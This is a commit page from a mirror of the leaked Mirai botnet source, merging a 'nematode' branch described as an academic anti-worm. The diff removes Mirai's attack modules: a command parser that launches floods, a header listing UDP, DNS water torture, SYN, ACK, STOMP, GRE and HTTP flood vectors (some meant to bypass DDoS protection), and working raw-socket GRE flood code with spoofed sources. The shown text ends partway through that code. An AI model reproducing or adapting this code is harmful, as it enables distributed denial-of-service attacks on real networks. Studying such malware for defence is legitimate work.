mirror of
https://github.com/jgamblin/Mirai-Source-Code
synced 2024-06-14 01:06:50 +00:00
Merge branch 'nematode'
This commit is contained in:
commit
0539213024
14
README.md
14
README.md
|
@ -6,6 +6,18 @@ Uploaded for research purposes and so we can develop IoT and such.
|
|||
See "ForumPost.txt" or [ForumPost.md](ForumPost.md) for the post in which it
|
||||
leaks, if you want to know how it is all set up and the likes.
|
||||
|
||||
## Nematode branch
|
||||
|
||||
This is a purely academic research project intended to show a proof of concept
|
||||
anti-worm worm (or nematode) for the types of vulnerabilities exploited by
|
||||
Mirai (default Telnet creds). The idea is to show that devices can be patched by
|
||||
a worm that deletes itself after changing the password to something device-
|
||||
specific or random. Such a tool could theoretically be used to reduce the attack
|
||||
surface. This is meant to only be tested in closed research environments. Use of
|
||||
this software is at your own risk.
|
||||
|
||||
Developed directly from Mirai. Community improvements welcomed.
|
||||
|
||||
## Requirements
|
||||
* gcc
|
||||
* golang
|
||||
|
@ -21,3 +33,5 @@ leaks, if you want to know how it is all set up and the likes.
|
|||
|
||||
This repository is for academic purposes, the use of this software is your
|
||||
responsibility.
|
||||
|
||||
|
||||
|
|
|
@ -1,250 +0,0 @@
|
|||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <errno.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "attack.h"
|
||||
#include "rand.h"
|
||||
#include "util.h"
|
||||
#include "scanner.h"
|
||||
|
||||
|
||||
uint8_t methods_len = 0;
|
||||
struct attack_method **methods = NULL;
|
||||
int attack_ongoing[ATTACK_CONCURRENT_MAX] = {0};
|
||||
|
||||
BOOL attack_init(void)
|
||||
{
|
||||
int i;
|
||||
|
||||
add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
|
||||
add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
|
||||
add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
|
||||
add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);
|
||||
|
||||
add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
|
||||
add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
|
||||
add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);
|
||||
|
||||
add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
|
||||
add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);
|
||||
|
||||
//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
|
||||
add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void attack_kill_all(void)
|
||||
{
|
||||
int i;
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[attack] Killing all ongoing attacks\n");
|
||||
#endif
|
||||
|
||||
for (i = 0; i < ATTACK_CONCURRENT_MAX; i++)
|
||||
{
|
||||
if (attack_ongoing[i] != 0)
|
||||
kill(attack_ongoing[i], 9);
|
||||
attack_ongoing[i] = 0;
|
||||
}
|
||||
|
||||
#ifdef MIRAI_TELNET
|
||||
scanner_init();
|
||||
#endif
|
||||
}
|
||||
|
||||
void attack_parse(char *buf, int len)
|
||||
{
|
||||
int i;
|
||||
uint32_t duration;
|
||||
ATTACK_VECTOR vector;
|
||||
uint8_t targs_len, opts_len;
|
||||
struct attack_target *targs = NULL;
|
||||
struct attack_option *opts = NULL;
|
||||
|
||||
// Read in attack duration uint32_t
|
||||
if (len < sizeof (uint32_t))
|
||||
goto cleanup;
|
||||
duration = ntohl(*((uint32_t *)buf));
|
||||
buf += sizeof (uint32_t);
|
||||
len -= sizeof (uint32_t);
|
||||
|
||||
// Read in attack ID uint8_t
|
||||
if (len == 0)
|
||||
goto cleanup;
|
||||
vector = (ATTACK_VECTOR)*buf++;
|
||||
len -= sizeof (uint8_t);
|
||||
|
||||
// Read in target count uint8_t
|
||||
if (len == 0)
|
||||
goto cleanup;
|
||||
targs_len = (uint8_t)*buf++;
|
||||
len -= sizeof (uint8_t);
|
||||
if (targs_len == 0)
|
||||
goto cleanup;
|
||||
|
||||
// Read in all targs
|
||||
if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))
|
||||
goto cleanup;
|
||||
targs = calloc(targs_len, sizeof (struct attack_target));
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
targs[i].addr = *((ipv4_t *)buf);
|
||||
buf += sizeof (ipv4_t);
|
||||
targs[i].netmask = (uint8_t)*buf++;
|
||||
len -= (sizeof (ipv4_t) + sizeof (uint8_t));
|
||||
|
||||
targs[i].sock_addr.sin_family = AF_INET;
|
||||
targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;
|
||||
}
|
||||
|
||||
// Read in flag count uint8_t
|
||||
if (len < sizeof (uint8_t))
|
||||
goto cleanup;
|
||||
opts_len = (uint8_t)*buf++;
|
||||
len -= sizeof (uint8_t);
|
||||
|
||||
// Read in all opts
|
||||
if (opts_len > 0)
|
||||
{
|
||||
opts = calloc(opts_len, sizeof (struct attack_option));
|
||||
for (i = 0; i < opts_len; i++)
|
||||
{
|
||||
uint8_t val_len;
|
||||
|
||||
// Read in key uint8
|
||||
if (len < sizeof (uint8_t))
|
||||
goto cleanup;
|
||||
opts[i].key = (uint8_t)*buf++;
|
||||
len -= sizeof (uint8_t);
|
||||
|
||||
// Read in data length uint8
|
||||
if (len < sizeof (uint8_t))
|
||||
goto cleanup;
|
||||
val_len = (uint8_t)*buf++;
|
||||
len -= sizeof (uint8_t);
|
||||
|
||||
if (len < val_len)
|
||||
goto cleanup;
|
||||
opts[i].val = calloc(val_len + 1, sizeof (char));
|
||||
util_memcpy(opts[i].val, buf, val_len);
|
||||
buf += val_len;
|
||||
len -= val_len;
|
||||
}
|
||||
}
|
||||
|
||||
errno = 0;
|
||||
attack_start(duration, vector, targs_len, targs, opts_len, opts);
|
||||
|
||||
// Cleanup
|
||||
cleanup:
|
||||
if (targs != NULL)
|
||||
free(targs);
|
||||
if (opts != NULL)
|
||||
free_opts(opts, opts_len);
|
||||
}
|
||||
|
||||
void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int pid1, pid2;
|
||||
|
||||
pid1 = fork();
|
||||
if (pid1 == -1 || pid1 > 0)
|
||||
return;
|
||||
|
||||
pid2 = fork();
|
||||
if (pid2 == -1)
|
||||
exit(0);
|
||||
else if (pid2 == 0)
|
||||
{
|
||||
sleep(duration);
|
||||
kill(getppid(), 9);
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < methods_len; i++)
|
||||
{
|
||||
if (methods[i]->vector == vector)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[attack] Starting attack...\n");
|
||||
#endif
|
||||
methods[i]->func(targs_len, targs, opts_len, opts);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//just bail if the function returns
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
char *attack_get_opt_str(uint8_t opts_len, struct attack_option *opts, uint8_t opt, char *def)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < opts_len; i++)
|
||||
{
|
||||
if (opts[i].key == opt)
|
||||
return opts[i].val;
|
||||
}
|
||||
|
||||
return def;
|
||||
}
|
||||
|
||||
int attack_get_opt_int(uint8_t opts_len, struct attack_option *opts, uint8_t opt, int def)
|
||||
{
|
||||
char *val = attack_get_opt_str(opts_len, opts, opt, NULL);
|
||||
|
||||
if (val == NULL)
|
||||
return def;
|
||||
else
|
||||
return util_atoi(val, 10);
|
||||
}
|
||||
|
||||
uint32_t attack_get_opt_ip(uint8_t opts_len, struct attack_option *opts, uint8_t opt, uint32_t def)
|
||||
{
|
||||
char *val = attack_get_opt_str(opts_len, opts, opt, NULL);
|
||||
|
||||
if (val == NULL)
|
||||
return def;
|
||||
else
|
||||
return inet_addr(val);
|
||||
}
|
||||
|
||||
static void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func)
|
||||
{
|
||||
struct attack_method *method = calloc(1, sizeof (struct attack_method));
|
||||
|
||||
method->vector = vector;
|
||||
method->func = func;
|
||||
|
||||
methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *));
|
||||
methods[methods_len++] = method;
|
||||
}
|
||||
|
||||
static void free_opts(struct attack_option *opts, int len)
|
||||
{
|
||||
int i;
|
||||
|
||||
if (opts == NULL)
|
||||
return;
|
||||
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
if (opts[i].val != NULL)
|
||||
free(opts[i].val);
|
||||
}
|
||||
free(opts);
|
||||
}
|
|
@ -1,170 +0,0 @@
|
|||
#pragma once
|
||||
|
||||
#include <time.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <linux/tcp.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "protocol.h"
|
||||
|
||||
#define ATTACK_CONCURRENT_MAX 8
|
||||
|
||||
#ifdef DEBUG
|
||||
#define HTTP_CONNECTION_MAX 1000
|
||||
#else
|
||||
#define HTTP_CONNECTION_MAX 256
|
||||
#endif
|
||||
|
||||
struct attack_target {
|
||||
struct sockaddr_in sock_addr;
|
||||
ipv4_t addr;
|
||||
uint8_t netmask;
|
||||
};
|
||||
|
||||
struct attack_option {
|
||||
char *val;
|
||||
uint8_t key;
|
||||
};
|
||||
|
||||
typedef void (*ATTACK_FUNC) (uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
typedef uint8_t ATTACK_VECTOR;
|
||||
|
||||
#define ATK_VEC_UDP 0 /* Straight up UDP flood */
|
||||
#define ATK_VEC_VSE 1 /* Valve Source Engine query flood */
|
||||
#define ATK_VEC_DNS 2 /* DNS water torture */
|
||||
#define ATK_VEC_SYN 3 /* SYN flood with options */
|
||||
#define ATK_VEC_ACK 4 /* ACK flood */
|
||||
#define ATK_VEC_STOMP 5 /* ACK flood to bypass mitigation devices */
|
||||
#define ATK_VEC_GREIP 6 /* GRE IP flood */
|
||||
#define ATK_VEC_GREETH 7 /* GRE Ethernet flood */
|
||||
//#define ATK_VEC_PROXY 8 /* Proxy knockback connection */
|
||||
#define ATK_VEC_UDP_PLAIN 9 /* Plain UDP flood optimized for speed */
|
||||
#define ATK_VEC_HTTP 10 /* HTTP layer 7 flood */
|
||||
|
||||
#define ATK_OPT_PAYLOAD_SIZE 0 // What should the size of the packet data be?
|
||||
#define ATK_OPT_PAYLOAD_RAND 1 // Should we randomize the packet data contents?
|
||||
#define ATK_OPT_IP_TOS 2 // tos field in IP header
|
||||
#define ATK_OPT_IP_IDENT 3 // ident field in IP header
|
||||
#define ATK_OPT_IP_TTL 4 // ttl field in IP header
|
||||
#define ATK_OPT_IP_DF 5 // Dont-Fragment bit set
|
||||
#define ATK_OPT_SPORT 6 // Should we force a source port? (0 = random)
|
||||
#define ATK_OPT_DPORT 7 // Should we force a dest port? (0 = random)
|
||||
#define ATK_OPT_DOMAIN 8 // Domain name for DNS attack
|
||||
#define ATK_OPT_DNS_HDR_ID 9 // Domain name header ID
|
||||
//#define ATK_OPT_TCPCC 10 // TCP congestion control
|
||||
#define ATK_OPT_URG 11 // TCP URG header flag
|
||||
#define ATK_OPT_ACK 12 // TCP ACK header flag
|
||||
#define ATK_OPT_PSH 13 // TCP PSH header flag
|
||||
#define ATK_OPT_RST 14 // TCP RST header flag
|
||||
#define ATK_OPT_SYN 15 // TCP SYN header flag
|
||||
#define ATK_OPT_FIN 16 // TCP FIN header flag
|
||||
#define ATK_OPT_SEQRND 17 // Should we force the sequence number? (TCP only)
|
||||
#define ATK_OPT_ACKRND 18 // Should we force the ack number? (TCP only)
|
||||
#define ATK_OPT_GRE_CONSTIP 19 // Should the encapsulated destination address be the same as the target?
|
||||
#define ATK_OPT_METHOD 20 // Method for HTTP flood
|
||||
#define ATK_OPT_POST_DATA 21 // Any data to be posted with HTTP flood
|
||||
#define ATK_OPT_PATH 22 // The path for the HTTP flood
|
||||
#define ATK_OPT_HTTPS 23 // Is this URL SSL/HTTPS?
|
||||
#define ATK_OPT_CONNS 24 // Number of sockets to use
|
||||
#define ATK_OPT_SOURCE 25 // Source IP
|
||||
|
||||
struct attack_method {
|
||||
ATTACK_FUNC func;
|
||||
ATTACK_VECTOR vector;
|
||||
};
|
||||
|
||||
struct attack_stomp_data {
|
||||
ipv4_t addr;
|
||||
uint32_t seq, ack_seq;
|
||||
port_t sport, dport;
|
||||
};
|
||||
|
||||
#define HTTP_CONN_INIT 0 // Inital state
|
||||
#define HTTP_CONN_RESTART 1 // Scheduled to restart connection next spin
|
||||
#define HTTP_CONN_CONNECTING 2 // Waiting for it to connect
|
||||
#define HTTP_CONN_HTTPS_STUFF 3 // Handle any needed HTTPS stuff such as negotiation
|
||||
#define HTTP_CONN_SEND 4 // Sending HTTP request
|
||||
#define HTTP_CONN_SEND_HEADERS 5 // Send HTTP headers
|
||||
#define HTTP_CONN_RECV_HEADER 6 // Get HTTP headers and check for things like location or cookies etc
|
||||
#define HTTP_CONN_RECV_BODY 7 // Get HTTP body and check for cf iaua mode
|
||||
#define HTTP_CONN_SEND_JUNK 8 // Send as much data as possible
|
||||
#define HTTP_CONN_SNDBUF_WAIT 9 // Wait for socket to be available to be written to
|
||||
#define HTTP_CONN_QUEUE_RESTART 10 // restart the connection/send new request BUT FIRST read any other available data.
|
||||
#define HTTP_CONN_CLOSED 11 // Close connection and move on
|
||||
|
||||
#define HTTP_RDBUF_SIZE 1024
|
||||
#define HTTP_HACK_DRAIN 64
|
||||
#define HTTP_PATH_MAX 256
|
||||
#define HTTP_DOMAIN_MAX 128
|
||||
#define HTTP_COOKIE_MAX 5 // no more then 5 tracked cookies
|
||||
#define HTTP_COOKIE_LEN_MAX 128 // max cookie len
|
||||
#define HTTP_POST_MAX 512 // max post data len
|
||||
|
||||
#define HTTP_PROT_DOSARREST 1 // Server: DOSarrest
|
||||
#define HTTP_PROT_CLOUDFLARE 2 // Server: cloudflare-nginx
|
||||
|
||||
struct attack_http_state {
|
||||
int fd;
|
||||
uint8_t state;
|
||||
int last_recv;
|
||||
int last_send;
|
||||
ipv4_t dst_addr;
|
||||
char user_agent[512];
|
||||
char path[HTTP_PATH_MAX + 1];
|
||||
char domain[HTTP_DOMAIN_MAX + 1];
|
||||
char postdata[HTTP_POST_MAX + 1];
|
||||
char method[9];
|
||||
char orig_method[9];
|
||||
|
||||
int protection_type;
|
||||
|
||||
int keepalive;
|
||||
int chunked;
|
||||
int content_length;
|
||||
|
||||
int num_cookies;
|
||||
char cookies[HTTP_COOKIE_MAX][HTTP_COOKIE_LEN_MAX];
|
||||
|
||||
int rdbuf_pos;
|
||||
char rdbuf[HTTP_RDBUF_SIZE];
|
||||
};
|
||||
|
||||
struct attack_cfnull_state {
|
||||
int fd;
|
||||
uint8_t state;
|
||||
int last_recv;
|
||||
int last_send;
|
||||
ipv4_t dst_addr;
|
||||
char user_agent[512];
|
||||
char domain[HTTP_DOMAIN_MAX + 1];
|
||||
int to_send;
|
||||
};
|
||||
|
||||
BOOL attack_init(void);
|
||||
void attack_kill_all(void);
|
||||
void attack_parse(char *, int);
|
||||
void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
char *attack_get_opt_str(uint8_t, struct attack_option *, uint8_t, char *);
|
||||
int attack_get_opt_int(uint8_t, struct attack_option *, uint8_t, int);
|
||||
uint32_t attack_get_opt_ip(uint8_t, struct attack_option *, uint8_t, uint32_t);
|
||||
|
||||
/* Actual attacks */
|
||||
void attack_udp_generic(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_udp_vse(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_udp_dns(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_udp_plain(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
|
||||
void attack_tcp_syn(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_tcp_ack(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_tcp_stomp(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
|
||||
void attack_gre_ip(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_gre_eth(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
|
||||
void attack_app_proxy(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_app_http(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
|
||||
static void add_attack(ATTACK_VECTOR, ATTACK_FUNC);
|
||||
static void free_opts(struct attack_option *, int);
|
File diff suppressed because it is too large
Load Diff
|
@ -1,318 +0,0 @@
|
|||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/if_ether.h>
|
||||
#include <errno.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "attack.h"
|
||||
#include "protocol.h"
|
||||
#include "util.h"
|
||||
#include "checksum.h"
|
||||
#include "rand.h"
|
||||
|
||||
void attack_gre_ip(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
|
||||
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
||||
BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE);
|
||||
uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct grehdr *greh;
|
||||
struct iphdr *greiph;
|
||||
struct udphdr *udph;
|
||||
|
||||
pkts[i] = calloc(1510, sizeof (char *));
|
||||
iph = (struct iphdr *)(pkts[i]);
|
||||
greh = (struct grehdr *)(iph + 1);
|
||||
greiph = (struct iphdr *)(greh + 1);
|
||||
udph = (struct udphdr *)(greiph + 1);
|
||||
|
||||
// IP header init
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_GRE;
|
||||
iph->saddr = source_ip;
|
||||
iph->daddr = targs[i].addr;
|
||||
|
||||
// GRE header init
|
||||
greh->protocol = htons(ETH_P_IP); // Protocol is 2 bytes
|
||||
|
||||
// Encapsulated IP header init
|
||||
greiph->version = 4;
|
||||
greiph->ihl = 5;
|
||||
greiph->tos = ip_tos;
|
||||
greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
|
||||
greiph->id = htons(~ip_ident);
|
||||
greiph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
greiph->frag_off = htons(1 << 14);
|
||||
greiph->protocol = IPPROTO_UDP;
|
||||
greiph->saddr = rand_next();
|
||||
if (gcip)
|
||||
greiph->daddr = iph->daddr;
|
||||
else
|
||||
greiph->daddr = ~(greiph->saddr - 1024);
|
||||
|
||||
// UDP header init
|
||||
udph->source = htons(sport);
|
||||
udph->dest = htons(dport);
|
||||
udph->len = htons(sizeof (struct udphdr) + data_len);
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct grehdr *greh = (struct grehdr *)(iph + 1);
|
||||
struct iphdr *greiph = (struct iphdr *)(greh + 1);
|
||||
struct udphdr *udph = (struct udphdr *)(greiph + 1);
|
||||
char *data = (char *)(udph + 1);
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (source_ip == 0xffffffff)
|
||||
iph->saddr = rand_next();
|
||||
|
||||
if (ip_ident == 0xffff)
|
||||
{
|
||||
iph->id = rand_next() & 0xffff;
|
||||
greiph->id = ~(iph->id - 1000);
|
||||
}
|
||||
if (sport == 0xffff)
|
||||
udph->source = rand_next() & 0xffff;
|
||||
if (dport == 0xffff)
|
||||
udph->dest = rand_next() & 0xffff;
|
||||
|
||||
if (!gcip)
|
||||
greiph->daddr = rand_next();
|
||||
else
|
||||
greiph->daddr = iph->daddr;
|
||||
|
||||
if (data_rand)
|
||||
rand_str(data, data_len);
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
greiph->check = 0;
|
||||
greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr));
|
||||
|
||||
udph->check = 0;
|
||||
udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len);
|
||||
|
||||
targs[i].sock_addr.sin_family = AF_INET;
|
||||
targs[i].sock_addr.sin_addr.s_addr = iph->daddr;
|
||||
targs[i].sock_addr.sin_port = 0;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
break;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void attack_gre_eth(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
|
||||
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
||||
BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE);
|
||||
uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct grehdr *greh;
|
||||
struct ethhdr *ethh;
|
||||
struct iphdr *greiph;
|
||||
struct udphdr *udph;
|
||||
uint32_t ent1, ent2, ent3;
|
||||
|
||||
pkts[i] = calloc(1510, sizeof (char *));
|
||||
iph = (struct iphdr *)(pkts[i]);
|
||||
greh = (struct grehdr *)(iph + 1);
|
||||
ethh = (struct ethhdr *)(greh + 1);
|
||||
greiph = (struct iphdr *)(ethh + 1);
|
||||
udph = (struct udphdr *)(greiph + 1);
|
||||
|
||||
// IP header init
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_GRE;
|
||||
iph->saddr = source_ip;
|
||||
iph->daddr = targs[i].addr;
|
||||
|
||||
// GRE header init
|
||||
greh->protocol = htons(PROTO_GRE_TRANS_ETH); // Protocol is 2 bytes
|
||||
|
||||
// Ethernet header init
|
||||
ethh->h_proto = htons(ETH_P_IP);
|
||||
|
||||
// Encapsulated IP header init
|
||||
greiph->version = 4;
|
||||
greiph->ihl = 5;
|
||||
greiph->tos = ip_tos;
|
||||
greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
|
||||
greiph->id = htons(~ip_ident);
|
||||
greiph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
greiph->frag_off = htons(1 << 14);
|
||||
greiph->protocol = IPPROTO_UDP;
|
||||
greiph->saddr = rand_next();
|
||||
if (gcip)
|
||||
greiph->daddr = iph->daddr;
|
||||
else
|
||||
greiph->daddr = ~(greiph->saddr - 1024);
|
||||
|
||||
// UDP header init
|
||||
udph->source = htons(sport);
|
||||
udph->dest = htons(dport);
|
||||
udph->len = htons(sizeof (struct udphdr) + data_len);
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct grehdr *greh = (struct grehdr *)(iph + 1);
|
||||
struct ethhdr *ethh = (struct ethhdr *)(greh + 1);
|
||||
struct iphdr *greiph = (struct iphdr *)(ethh + 1);
|
||||
struct udphdr *udph = (struct udphdr *)(greiph + 1);
|
||||
char *data = (char *)(udph + 1);
|
||||
uint32_t ent1, ent2, ent3;
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (source_ip == 0xffffffff)
|
||||
iph->saddr = rand_next();
|
||||
|
||||
if (ip_ident == 0xffff)
|
||||
{
|
||||
iph->id = rand_next() & 0xffff;
|
||||
greiph->id = ~(iph->id - 1000);
|
||||
}
|
||||
if (sport == 0xffff)
|
||||
udph->source = rand_next() & 0xffff;
|
||||
if (dport == 0xffff)
|
||||
udph->dest = rand_next() & 0xffff;
|
||||
|
||||
if (!gcip)
|
||||
greiph->daddr = rand_next();
|
||||
else
|
||||
greiph->daddr = iph->daddr;
|
||||
|
||||
ent1 = rand_next();
|
||||
ent2 = rand_next();
|
||||
ent3 = rand_next();
|
||||
util_memcpy(ethh->h_dest, (char *)&ent1, 4);
|
||||
util_memcpy(ethh->h_source, (char *)&ent2, 4);
|
||||
util_memcpy(ethh->h_dest + 4, (char *)&ent3, 2);
|
||||
util_memcpy(ethh->h_source + 4, (((char *)&ent3)) + 2, 2);
|
||||
|
||||
if (data_rand)
|
||||
rand_str(data, data_len);
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
greiph->check = 0;
|
||||
greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr));
|
||||
|
||||
udph->check = 0;
|
||||
